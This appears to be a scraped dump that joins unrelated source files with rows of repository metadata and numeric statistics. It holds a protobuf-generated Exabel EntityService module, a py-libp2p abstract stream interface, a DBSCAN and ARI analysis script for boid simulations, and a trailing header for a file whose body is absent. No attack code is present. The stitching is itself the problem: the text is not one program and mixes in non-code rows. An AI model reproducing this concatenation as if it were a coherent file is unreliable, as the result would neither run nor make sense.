_descriptor.FieldDescriptor( name='entity', full_name='exabel.api.data.v1.UpdateEntityRequest.entity', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=b'\340A\002', file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='update_mask', full_name='exabel.api.data.v1.UpdateEntityRequest.update_mask', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=837, serialized_end=956, ) _DELETEENTITYREQUEST = _descriptor.Descriptor( name='DeleteEntityRequest', full_name='exabel.api.data.v1.DeleteEntityRequest', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='name', full_name='exabel.api.data.v1.DeleteEntityRequest.name', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=b'\340A\002', file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=958, serialized_end=998, ) _SEARCHENTITIESREQUEST = _descriptor.Descriptor( name='SearchEntitiesRequest', full_name='exabel.api.data.v1.SearchEntitiesRequest', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='parent', full_name='exabel.api.data.v1.SearchEntitiesRequest.parent', index=0, number=4, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=b'\340A\002', file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='terms', full_name='exabel.api.data.v1.SearchEntitiesRequest.terms', index=1, number=1, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=b'\340A\002', file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='page_size', full_name='exabel.api.data.v1.SearchEntitiesRequest.page_size', index=2, number=2, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='page_token', full_name='exabel.api.data.v1.SearchEntitiesRequest.page_token', index=3, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=1001, serialized_end=1136, ) _SEARCHENTITIESRESPONSE_SEARCHRESULT = _descriptor.Descriptor( name='SearchResult', full_name='exabel.api.data.v1.SearchEntitiesResponse.SearchResult', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='terms', full_name='exabel.api.data.v1.SearchEntitiesResponse.SearchResult.terms', index=0, number=1, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='entities', full_name='exabel.api.data.v1.SearchEntitiesResponse.SearchResult.entities', index=1, number=2, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=1310, serialized_end=1417, ) _SEARCHENTITIESRESPONSE = _descriptor.Descriptor( name='SearchEntitiesResponse', full_name='exabel.api.data.v1.SearchEntitiesResponse', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='results', full_name='exabel.api.data.v1.SearchEntitiesResponse.results', index=0, number=3, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='next_page_token', full_name='exabel.api.data.v1.SearchEntitiesResponse.next_page_token', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='entities', full_name='exabel.api.data.v1.SearchEntitiesResponse.entities', index=2, number=1, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[_SEARCHENTITIESRESPONSE_SEARCHRESULT, ], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=1139, serialized_end=1417, ) _LISTENTITYTYPESRESPONSE.fields_by_name['entity_types'].message_type = exabel_dot_api_dot_data_dot_v1_dot_entity__messages__pb2._ENTITYTYPE _LISTENTITIESRESPONSE.fields_by_name['entities'].message_type = exabel_dot_api_dot_data_dot_v1_dot_entity__messages__pb2._ENTITY _CREATEENTITYREQUEST.fields_by_name['entity'].message_type = exabel_dot_api_dot_data_dot_v1_dot_entity__messages__pb2._ENTITY _UPDATEENTITYREQUEST.fields_by_name['entity'].message_type = exabel_dot_api_dot_data_dot_v1_dot_entity__messages__pb2._ENTITY _UPDATEENTITYREQUEST.fields_by_name['update_mask'].message_type = google_dot_protobuf_dot_field__mask__pb2._FIELDMASK _SEARCHENTITIESREQUEST.fields_by_name['terms'].message_type = exabel_dot_api_dot_data_dot_v1_dot_search__messages__pb2._SEARCHTERM _SEARCHENTITIESRESPONSE_SEARCHRESULT.fields_by_name['terms'].message_type = exabel_dot_api_dot_data_dot_v1_dot_search__messages__pb2._SEARCHTERM _SEARCHENTITIESRESPONSE_SEARCHRESULT.fields_by_name['entities'].message_type = exabel_dot_api_dot_data_dot_v1_dot_entity__messages__pb2._ENTITY _SEARCHENTITIESRESPONSE_SEARCHRESULT.containing_type = _SEARCHENTITIESRESPONSE _SEARCHENTITIESRESPONSE.fields_by_name['results'].message_type = _SEARCHENTITIESRESPONSE_SEARCHRESULT _SEARCHENTITIESRESPONSE.fields_by_name['entities'].message_type = exabel_dot_api_dot_data_dot_v1_dot_entity__messages__pb2._ENTITY DESCRIPTOR.message_types_by_name['ListEntityTypesRequest'] = _LISTENTITYTYPESREQUEST DESCRIPTOR.message_types_by_name['ListEntityTypesResponse'] = _LISTENTITYTYPESRESPONSE DESCRIPTOR.message_types_by_name['GetEntityTypeRequest'] = _GETENTITYTYPEREQUEST DESCRIPTOR.message_types_by_name['ListEntitiesRequest'] = _LISTENTITIESREQUEST DESCRIPTOR.message_types_by_name['ListEntitiesResponse'] = _LISTENTITIESRESPONSE DESCRIPTOR.message_types_by_name['GetEntityRequest'] = _GETENTITYREQUEST DESCRIPTOR.message_types_by_name['CreateEntityRequest'] = _CREATEENTITYREQUEST DESCRIPTOR.message_types_by_name['UpdateEntityRequest'] = _UPDATEENTITYREQUEST DESCRIPTOR.message_types_by_name['DeleteEntityRequest'] = _DELETEENTITYREQUEST DESCRIPTOR.message_types_by_name['SearchEntitiesRequest'] = _SEARCHENTITIESREQUEST DESCRIPTOR.message_types_by_name['SearchEntitiesResponse'] = _SEARCHENTITIESRESPONSE _sym_db.RegisterFileDescriptor(DESCRIPTOR) ListEntityTypesRequest = _reflection.GeneratedProtocolMessageType('ListEntityTypesRequest', (_message.Message,), { 'DESCRIPTOR' : _LISTENTITYTYPESREQUEST, '__module__' : 'exabel.api.data.v1.entity_service_pb2' # @@protoc_insertion_point(class_scope:exabel.api.data.v1.ListEntityTypesRequest) }) _sym_db.RegisterMessage(ListEntityTypesRequest) ListEntityTypesResponse = _reflection.GeneratedProtocolMessageType('ListEntityTypesResponse', (_message.Message,), { 'DESCRIPTOR' : _LISTENTITYTYPESRESPONSE, '__module__' : 'exabel.api.data.v1.entity_service_pb2' # @@protoc_insertion_point(class_scope:exabel.api.data.v1.ListEntityTypesResponse) }) _sym_db.RegisterMessage(ListEntityTypesResponse) GetEntityTypeRequest = _reflection.GeneratedProtocolMessageType('GetEntityTypeRequest', (_message.Message,), { 'DESCRIPTOR' : _GETENTITYTYPEREQUEST, '__module__' : 'exabel.api.data.v1.entity_service_pb2' # @@protoc_insertion_point(class_scope:exabel.api.data.v1.GetEntityTypeRequest) }) _sym_db.RegisterMessage(GetEntityTypeRequest) ListEntitiesRequest = _reflection.GeneratedProtocolMessageType('ListEntitiesRequest', (_message.Message,), { 'DESCRIPTOR' : _LISTENTITIESREQUEST, '__module__' : 'exabel.api.data.v1.entity_service_pb2' # @@protoc_insertion_point(class_scope:exabel.api.data.v1.ListEntitiesRequest) }) _sym_db.RegisterMessage(ListEntitiesRequest) ListEntitiesResponse = _reflection.GeneratedProtocolMessageType('ListEntitiesResponse', (_message.Message,), { 'DESCRIPTOR' : _LISTENTITIESRESPONSE, '__module__' : 'exabel.api.data.v1.entity_service_pb2' # @@protoc_insertion_point(class_scope:exabel.api.data.v1.ListEntitiesResponse) }) _sym_db.RegisterMessage(ListEntitiesResponse) GetEntityRequest = _reflection.GeneratedProtocolMessageType('GetEntityRequest', (_message.Message,), { 'DESCRIPTOR' : _GETENTITYREQUEST, '__module__' : 'exabel.api.data.v1.entity_service_pb2' # @@protoc_insertion_point(class_scope:exabel.api.data.v1.GetEntityRequest) }) _sym_db.RegisterMessage(GetEntityRequest) CreateEntityRequest = _reflection.GeneratedProtocolMessageType('CreateEntityRequest', (_message.Message,), { 'DESCRIPTOR' : _CREATEENTITYREQUEST, '__module__' : 'exabel.api.data.v1.entity_service_pb2' # @@protoc_insertion_point(class_scope:exabel.api.data.v1.CreateEntityRequest) }) _sym_db.RegisterMessage(CreateEntityRequest) UpdateEntityRequest = _reflection.GeneratedProtocolMessageType('UpdateEntityRequest', (_message.Message,), { 'DESCRIPTOR' : _UPDATEENTITYREQUEST, '__module__' : 'exabel.api.data.v1.entity_service_pb2' # @@protoc_insertion_point(class_scope:exabel.api.data.v1.UpdateEntityRequest) }) _sym_db.RegisterMessage(UpdateEntityRequest) DeleteEntityRequest = _reflection.GeneratedProtocolMessageType('DeleteEntityRequest', (_message.Message,), { 'DESCRIPTOR' : _DELETEENTITYREQUEST, '__module__' : 'exabel.api.data.v1.entity_service_pb2' # @@protoc_insertion_point(class_scope:exabel.api.data.v1.DeleteEntityRequest) }) _sym_db.RegisterMessage(DeleteEntityRequest) SearchEntitiesRequest = _reflection.GeneratedProtocolMessageType('SearchEntitiesRequest', (_message.Message,), { 'DESCRIPTOR' : _SEARCHENTITIESREQUEST, '__module__' : 'exabel.api.data.v1.entity_service_pb2' # @@protoc_insertion_point(class_scope:exabel.api.data.v1.SearchEntitiesRequest) }) _sym_db.RegisterMessage(SearchEntitiesRequest) SearchEntitiesResponse = _reflection.GeneratedProtocolMessageType('SearchEntitiesResponse', (_message.Message,), { 'SearchResult' : _reflection.GeneratedProtocolMessageType('SearchResult', (_message.Message,), { 'DESCRIPTOR' : _SEARCHENTITIESRESPONSE_SEARCHRESULT, '__module__' : 'exabel.api.data.v1.entity_service_pb2' # @@protoc_insertion_point(class_scope:exabel.api.data.v1.SearchEntitiesResponse.SearchResult) }) , 'DESCRIPTOR' : _SEARCHENTITIESRESPONSE, '__module__' : 'exabel.api.data.v1.entity_service_pb2' # @@protoc_insertion_point(class_scope:exabel.api.data.v1.SearchEntitiesResponse) }) _sym_db.RegisterMessage(SearchEntitiesResponse) _sym_db.RegisterMessage(SearchEntitiesResponse.SearchResult) DESCRIPTOR._options = None _GETENTITYTYPEREQUEST.fields_by_name['name']._options = None _LISTENTITIESREQUEST.fields_by_name['parent']._options = None _GETENTITYREQUEST.fields_by_name['name']._options = None _CREATEENTITYREQUEST.fields_by_name['parent']._options = None _CREATEENTITYREQUEST.fields_by_name['entity']._options = None _UPDATEENTITYREQUEST.fields_by_name['entity']._options = None _DELETEENTITYREQUEST.fields_by_name['name']._options = None _SEARCHENTITIESREQUEST.fields_by_name['parent']._options = None _SEARCHENTITIESREQUEST.fields_by_name['terms']._options = None _ENTITYSERVICE = _descriptor.ServiceDescriptor( name='EntityService', full_name='exabel.api.data.v1.EntityService', file=DESCRIPTOR, index=0, serialized_options=None, create_key=_descriptor._internal_create_key, serialized_start=1420, serialized_end=2535, methods=[ _descriptor.MethodDescriptor( name='ListEntityTypes', full_name='exabel.api.data.v1.EntityService.ListEntityTypes', index=0, containing_service=None, input_type=_LISTENTITYTYPESREQUEST, output_type=_LISTENTITYTYPESRESPONSE, serialized_options=b'\202\323\344\223\002\021\022\017/v1/entityTypes', create_key=_descriptor._internal_create_key, ), _descriptor.MethodDescriptor( name='GetEntityType', full_name='exabel.api.data.v1.EntityService.GetEntityType', index=1, containing_service=None, input_type=_GETENTITYTYPEREQUEST, output_type=exabel_dot_api_dot_data_dot_v1_dot_entity__messages__pb2._ENTITYTYPE, serialized_options=b'\202\323\344\223\002\032\022\030/v1/{name=entityTypes/*}', create_key=_descriptor._internal_create_key, ), _descriptor.MethodDescriptor( name='ListEntities', full_name='exabel.api.data.v1.EntityService.ListEntities', index=2, containing_service=None, input_type=_LISTENTITIESREQUEST, output_type=_LISTENTITIESRESPONSE, serialized_options=b'\202\323\344\223\002%\022#/v1/{parent=entityTypes/*}/entities', create_key=_descriptor._internal_create_key, ), _descriptor.MethodDescriptor( name='GetEntity', full_name='exabel.api.data.v1.EntityService.GetEntity', index=3, containing_service=None, input_type=_GETENTITYREQUEST, output_type=exabel_dot_api_dot_data_dot_v1_dot_entity__messages__pb2._ENTITY, serialized_options=b'\202\323\344\223\002%\022#/v1/{name=entityTypes/*/entities/*}', create_key=_descriptor._internal_create_key, ), _descriptor.MethodDescriptor( name='CreateEntity', full_name='exabel.api.data.v1.EntityService.CreateEntity', index=4, containing_service=None, input_type=_CREATEENTITYREQUEST, output_type=exabel_dot_api_dot_data_dot_v1_dot_entity__messages__pb2._ENTITY, serialized_options=b'\202\323\344\223\002-\"#/v1/{parent=entityTypes/*}/entities:\006entity', create_key=_descriptor._internal_create_key, ), _descriptor.MethodDescriptor( name='UpdateEntity', full_name='exabel.api.data.v1.EntityService.UpdateEntity', index=5, containing_service=None, input_type=_UPDATEENTITYREQUEST, output_type=exabel_dot_api_dot_data_dot_v1_dot_entity__messages__pb2._ENTITY, serialized_options=b'\202\323\344\223\00242*/v1/{entity.name=entityTypes/*/entities/*}:\006entity', create_key=_descriptor._internal_create_key, ), _descriptor.MethodDescriptor( name='DeleteEntity', full_name='exabel.api.data.v1.EntityService.DeleteEntity', index=6, containing_service=None, input_type=_DELETEENTITYREQUEST, output_type=google_dot_protobuf_dot_empty__pb2._EMPTY, serialized_options=b'\202\323\344\223\002%*#/v1/{name=entityTypes/*/entities/*}', create_key=_descriptor._internal_create_key, ), _descriptor.MethodDescriptor( name='SearchEntities', full_name='exabel.api.data.v1.EntityService.SearchEntities', index=7, containing_service=None, input_type=_SEARCHENTITIESREQUEST, output_type=_SEARCHENTITIESRESPONSE, serialized_options=b'\202\323\344\223\002/\"*/v1/{parent=entityTypes/*}/entities:search:\001*', create_key=_descriptor._internal_create_key, ), ]) _sym_db.RegisterServiceDescriptor(_ENTITYSERVICE) DESCRIPTOR.services_by_name['EntityService'] = _ENTITYSERVICE # @@protoc_insertion_point(module_scope)
45.870095
3,813
0.776476
4,229
33,898
5.883424
0.0655
0.030103
0.055384
0.062698
0.747277
0.679233
0.650778
0.585105
0.567019
0.562317
0
0.043812
0.09974
33,898
738
3,814
45.932249
0.771504
0.034899
0
0.636905
1
0.020833
0.215551
0.172086
0
0
0
0
0
1
0
false
0
0.014881
0
0.014881
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
056f9244b69a5a91979d16d41ee0b886454e378d
813
py
Python
libp2p/network/stream/net_stream_interface.py
magniff/py-libp2p
98f6ce2fab5a7dade292865aa0a38e5f68310a8e
[ "Apache-2.0", "MIT" ]
null
null
null
libp2p/network/stream/net_stream_interface.py
magniff/py-libp2p
98f6ce2fab5a7dade292865aa0a38e5f68310a8e
[ "Apache-2.0", "MIT" ]
null
null
null
libp2p/network/stream/net_stream_interface.py
magniff/py-libp2p
98f6ce2fab5a7dade292865aa0a38e5f68310a8e
[ "Apache-2.0", "MIT" ]
null
null
null
from abc import ABC, abstractmethod class INetStream(ABC): @abstractmethod def get_protocol(self): """ :return: protocol id that stream runs on """ @abstractmethod def set_protocol(self, protocol_id): """ :param protocol_id: protocol id that stream runs on :return: true if successful """ @abstractmethod def read(self): """ reads from the underlying muxed_stream :return: bytes of input """ @abstractmethod def write(self, _bytes): """ write to the underlying muxed_stream :return: number of bytes written """ @abstractmethod def close(self): """ close the underlying muxed stream :return: true if successful """
20.846154
59
0.571956
83
813
5.518072
0.409639
0.18559
0.117904
0.157205
0.310044
0.113537
0
0
0
0
0
0
0.344403
813
38
60
21.394737
0.859287
0.387454
0
0.416667
0
0
0
0
0
0
0
0
0
1
0.416667
false
0
0.083333
0
0.583333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
05724e9a29ddde891fb7d3cc17a427223767f9cf
16,604
py
Python
generate_csv.py
Dradoue/Boids
d7b79e49243c4a6fd437285b58ef6c0899e910d2
[ "MIT" ]
2
2021-04-06T14:41:27.000Z
2021-08-09T06:11:49.000Z
generate_csv.py
Dradoue/Boids
d7b79e49243c4a6fd437285b58ef6c0899e910d2
[ "MIT" ]
null
null
null
generate_csv.py
Dradoue/Boids
d7b79e49243c4a6fd437285b58ef6c0899e910d2
[ "MIT" ]
null
null
null
from typing import List, Any, Union import matplotlib.pyplot as plt import numpy as np import pandas as pd from sklearn.metrics import adjusted_rand_score from ML import DBscan_step_positions, DBscan_step_positions_and_velocity, build_ground_truth, \ DBscan_step_intuition_dist_multistep_1, DBscan_step_intuition_dist from utils import charge_labels_simulation if __name__ == "__main__": mode = 2 # 0: analyse number of clusters on list_nb_boids on a particular timestep # 1: analyse number of clusters for each population in list_nb_boids on different timesteps # 2: analyse ARI scores for each population in list_nb_boids on different timesteps if mode == 1: # another part where we watch evolution of number of clusters during the simulation depending on number of boids list_n_boids = [200, 500, 1000] step_to_analyse = [1, 100, 200, 300, 400, 500, 600, 700, 800, 900, 1000, 1100, 1200, 1300, 1400, 1500, 1600, 1700, 1800, 1900, 2000, 2100, 2200, 2300, 2400, 2500, 2600, 2700, 2800, 2900, 2999] # get statistics on number of clusters on time-step :step_to_analyse: for n_boids in list_n_boids: list_num_boids = [n_boids] * 4 # create a dataframe for a population name_pandas_file_statistics = "evolution_clusters_statistics_on_" + str(n_boids) column_names = ["time step", "std number clusters", "mean number clusters"] column_names_p = ["time step", "std number clusters p", "mean number clusters p"] column_names_pv = ["time step", "std number clusters pv", "mean number clusters pv"] results_statistics = pd.DataFrame(columns=column_names) results_statistics_p = pd.DataFrame(columns=column_names_p) results_statistics_pv = pd.DataFrame(columns=column_names_pv) for step in step_to_analyse: num_clusters = [] num_clusters_pv = [] num_clusters_p = [] for i in range(10): # 10 different simulations # get the directory directory_name = "simulation_data_" + str(list_num_boids) + "_Boids_" + str(i) + "/" labels_pv = DBscan_step_positions_and_velocity(step=step, old_labels=None, repository=directory_name) labels_p = DBscan_step_positions(step=step, old_labels=None, repository=directory_name) labels = build_ground_truth(step=step, old_labels=None, repository=directory_name, list_nb_boids=list_num_boids) nb_clusters = np.unique(labels).shape[0] - 1 nb_clusters_p = np.unique(labels).shape[0] - 1 nb_clusters_pv = np.unique(labels).shape[0] - 1 print("num clusters time step {0} is {1}".format(step, nb_clusters)) num_clusters.append(nb_clusters) num_clusters_pv.append(nb_clusters_pv) num_clusters_p.append(nb_clusters_p) mean_clusters = np.mean(num_clusters) std_clusters = np.std(num_clusters) mean_clusters_p = np.mean(num_clusters_p) std_clusters_p = np.std(num_clusters_p) mean_clusters_pv = np.mean(num_clusters_pv) std_clusters_pv = np.std(num_clusters_pv) results_statistics = results_statistics.append({"time step": step, "mean number clusters": mean_clusters, "std number clusters": std_clusters}, ignore_index=True) results_statistics_p = results_statistics_p.append({"time step": step, "mean number clusters p": mean_clusters_p, "std number clusters p": std_clusters_p}, ignore_index=True) results_statistics_pv = results_statistics_pv.append({"time step": step, "mean number clusters pv": mean_clusters_pv, "std number clusters pv": std_clusters_pv}, ignore_index=True) results_statistics.to_csv(name_pandas_file_statistics + ".csv", index=False) if mode == 2: # another part where we watch evolution of number of clusters during the simulation depending on number of boids list_n_boids = [200, 500, 1000] # todo to adjust step_to_analyse_pop200 = [500, 600, 700, 800, 900, 1000, 1100, 1200, 1300, 1400, 1500, 1600, 1700, 1800, 1900, 2000, 2100, 2200, 2300, 2400, 2500, 2600, 2700, 2800, 2900, 2999] step_to_analyse_pop500 = [500, 600, 700, 800, 900, 1000, 1100, 1200, 1300, 1400, 1500, 1600, 1700, 1800, 1900, 2000, 2100, 2200, 2300, 2400, 2500, 2600, 2700, 2800, 2900, 2999] step_to_analyse_pop1000 = [500, 600, 700, 800, 900, 1000, 1100, 1200, 1300, 1400, 1500, 1600, 1700, 1800, 1900, 2000, 2100, 2200, 2300, 2400, 2500, 2600, 2700, 2800, 2900, 2999] method = 4 # see methods behind # get statistics on number of clusters on time-step :step_to_analyse: for n_boids in [500, 1000]: # list_n_boids: if n_boids == 200: step_to_analyse = step_to_analyse_pop200 elif n_boids == 500: step_to_analyse = step_to_analyse_pop500 elif n_boids == 1000: step_to_analyse = step_to_analyse_pop500 list_num_boids = [n_boids] * 4 # create a dataframe for a population name = None if method == 1: name = "DBSCAN_position_Euclidean_metric" eps = [70, 75, 80, 85] min_sample = [2, 4, 6, 8, 10] elif method == 2: name = "DBSCAN_position_velocities_Euclidean_metric" # param_to_test alpha = [0.8, 1, 1.2, 1.4] beta = [5, 10, 20, 30, 40, 50, 60] elif method == 3: name = "DBSCAN_position_velocities_custom_metric" alpha = [0.8, 1, 1.2, 1.4] phi = [10, 20, 30, 40, 50] elif method == 4: name = "DBSCAN_position_velocities_multistep_Euclidean" alpha = [0.6, 0.8, 1, 1.2, 1.4] phi = [10, 20, 30, 40, 50] gamma = [0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 0.95, 0.99] if method == 1: for epsilon in eps: for min_sample_ in min_sample: params = "min_sample=" + str(min_sample_) + "_" + "epsilon=" + str(epsilon) name_pandas_file_statistics = "evolution_ARI_statistics_on_" + str( n_boids) + "_" + name + "_" + params column_names = ["time step", "std ARI", "mean ARI"] results_statistics = pd.DataFrame(columns=column_names) for step in step_to_analyse: ARI_list = [] for i in range(10): # 5 different simulations # get the directory directory_name = "simulation_data_" + str(list_num_boids) + "_Boids_" + str(i) + "/" # get ground truth labels_truth = build_ground_truth(step=step, old_labels=None, repository=directory_name, list_nb_boids=list_num_boids) labels = DBscan_step_positions(step=step, old_labels=None, repository=directory_name, eps=epsilon, min_sample=min_sample_) ARI = adjusted_rand_score(labels_truth, labels) print("rand score time step {0} is {1}".format(step, ARI)) ARI_list.append(ARI) mean_ARI = np.mean(ARI_list) std_ARI = np.std(ARI_list) results_statistics = results_statistics.append({"time step": step, "mean ARI": mean_ARI, "std ARI": std_ARI}, ignore_index=True) results_statistics.to_csv(name_pandas_file_statistics + ".csv", index=False) if method == 2: for alpha_ in alpha: for beta_ in beta: params = "alpha=" + str(alpha_) + "_" + "beta=" + str(beta_) name_pandas_file_statistics = "evolution_ARI_statistics_on_" + str( n_boids) + "_" + name + "_" + params column_names = ["time step", "std ARI", "mean ARI"] results_statistics = pd.DataFrame(columns=column_names) for step in step_to_analyse: ARI_list = [] for i in range(10): # 5 different simulations # get the directory directory_name = "simulation_data_" + str(list_num_boids) + "_Boids_" + str(i) + "/" # get ground truth labels_truth = build_ground_truth(step=step, old_labels=None, repository=directory_name, list_nb_boids=list_num_boids) labels = DBscan_step_positions_and_velocity(step=step, old_labels=None, repository=directory_name, alpha=alpha_, beta=beta_) ARI = adjusted_rand_score(labels_truth, labels) print("rand score time step {0} is {1}".format(step, ARI)) ARI_list.append(ARI) mean_ARI = np.mean(ARI_list) std_ARI = np.std(ARI_list) results_statistics = results_statistics.append({"time step": step, "mean ARI": mean_ARI, "std ARI": std_ARI}, ignore_index=True) results_statistics.to_csv(name_pandas_file_statistics + ".csv", index=False) if method == 3: for alpha_ in alpha: for phi_ in phi: params = "alpha=" + str(alpha_) + "_" + "phi=" + str(phi_) name_pandas_file_statistics = "evolution_ARI_statistics_on_" + str( n_boids) + "_" + name + "_" + params column_names = ["time step", "std ARI", "mean ARI"] results_statistics = pd.DataFrame(columns=column_names) for step in step_to_analyse: ARI_list = [] for i in range(10): # 5 different simulations # get the directory directory_name = "simulation_data_" + str(list_num_boids) + "_Boids_" + str(i) + "/" # get ground truth labels_truth = build_ground_truth(step=step, old_labels=None, repository=directory_name, list_nb_boids=list_num_boids) labels = DBscan_step_intuition_dist(step=step, old_labels=None, repository=directory_name, alpha_=alpha_, phi_=phi_) ARI = adjusted_rand_score(labels_truth, labels) print("rand score time step {0} is {1}".format(step, ARI)) ARI_list.append(ARI) mean_ARI = np.mean(ARI_list) std_ARI = np.std(ARI_list) results_statistics = results_statistics.append({"time step": step, "mean ARI": mean_ARI, "std ARI": std_ARI}, ignore_index=True) results_statistics.to_csv(name_pandas_file_statistics + ".csv", index=False) if method == 4: for gamma_ in gamma: for phi_ in phi: for alpha_ in alpha: params = "alpha=" + str(alpha_) + "_" + "phi=" + str(phi_) + "_" + "gamma=" + str(gamma_) name_pandas_file_statistics = "evolution_ARI_statistics_on_" + str(n_boids) + "_" + name \ + "_" + params column_names = ["time step", "std ARI", "mean ARI"] results_statistics = pd.DataFrame(columns=column_names) for step in step_to_analyse: ARI_list = [] for i in range(10): # 5 different simulations # get the directory directory_name = "simulation_data_" + str(list_num_boids) + "_Boids_" + str(i) + "/" # get ground truth labels_truth = build_ground_truth(step=step, old_labels=None, repository=directory_name, list_nb_boids=list_num_boids) labels = DBscan_step_intuition_dist_multistep_1(step=step, old_labels=None, repository=directory_name, phi_=phi_, alpha_=alpha_, gamma_=gamma_) ARI = adjusted_rand_score(labels_truth, labels) print("rand score time step {0} is {1}".format(step, ARI)) ARI_list.append(ARI) mean_ARI = np.mean(ARI_list) std_ARI = np.std(ARI_list) results_statistics = results_statistics.append({"time step": step, "mean ARI": mean_ARI, "std ARI": std_ARI}, ignore_index=True) results_statistics.to_csv(name_pandas_file_statistics + ".csv", index=False)
51.8875
120
0.451698
1,582
16,604
4.434893
0.114412
0.062999
0.031499
0.026653
0.771522
0.70325
0.687286
0.648233
0.630701
0.621009
0
0.070295
0.476512
16,604
319
121
52.050157
0.736884
0.06107
0
0.562791
0
0
0.075826
0.019663
0.018605
0
0
0.003135
0
1
0
false
0
0.032558
0
0.032558
0.023256
0
0
0
null
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
057bf650dbb4ea67b88aa91802f9c3cd43f5adca
75
py
Python
gigglebot/nes-controlled/shared_config.py
carlosperate/microbit-programs
6500b6a80a8ab04204d3447d9de0f1115a89b95e
[ "MIT" ]
null
null
null
gigglebot/nes-controlled/shared_config.py
carlosperate/microbit-programs
6500b6a80a8ab04204d3447d9de0f1115a89b95e
[ "MIT" ]
null
null
null
gigglebot/nes-controlled/shared_config.py
carlosperate/microbit-programs
6500b6a80a8ab04204d3447d9de0f1115a89b95e
[ "MIT" ]
null
null
null
# microbit-module: shared_config@0.1.0 RADIO_CHANNEL = 17 MSG_DEYLAY = 50
15
38
0.76
13
75
4.153846
0.923077
0
0
0
0
0
0
0
0
0
0
0.107692
0.133333
75
4
39
18.75
0.723077
0.48
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
057d0127143f60ba12ed5cc34049ff9305186f72
469
py
Python
demo/src/publisher.py
Stubatiger/leek
10fc495f31042da59dbef77a757f87dcd0e527ae
[ "Apache-2.0" ]
55
2021-01-28T16:25:20.000Z
2022-03-09T09:30:53.000Z
demo/src/publisher.py
Stubatiger/leek
10fc495f31042da59dbef77a757f87dcd0e527ae
[ "Apache-2.0" ]
21
2021-03-22T10:49:29.000Z
2022-03-24T09:04:15.000Z
demo/src/publisher.py
Stubatiger/leek
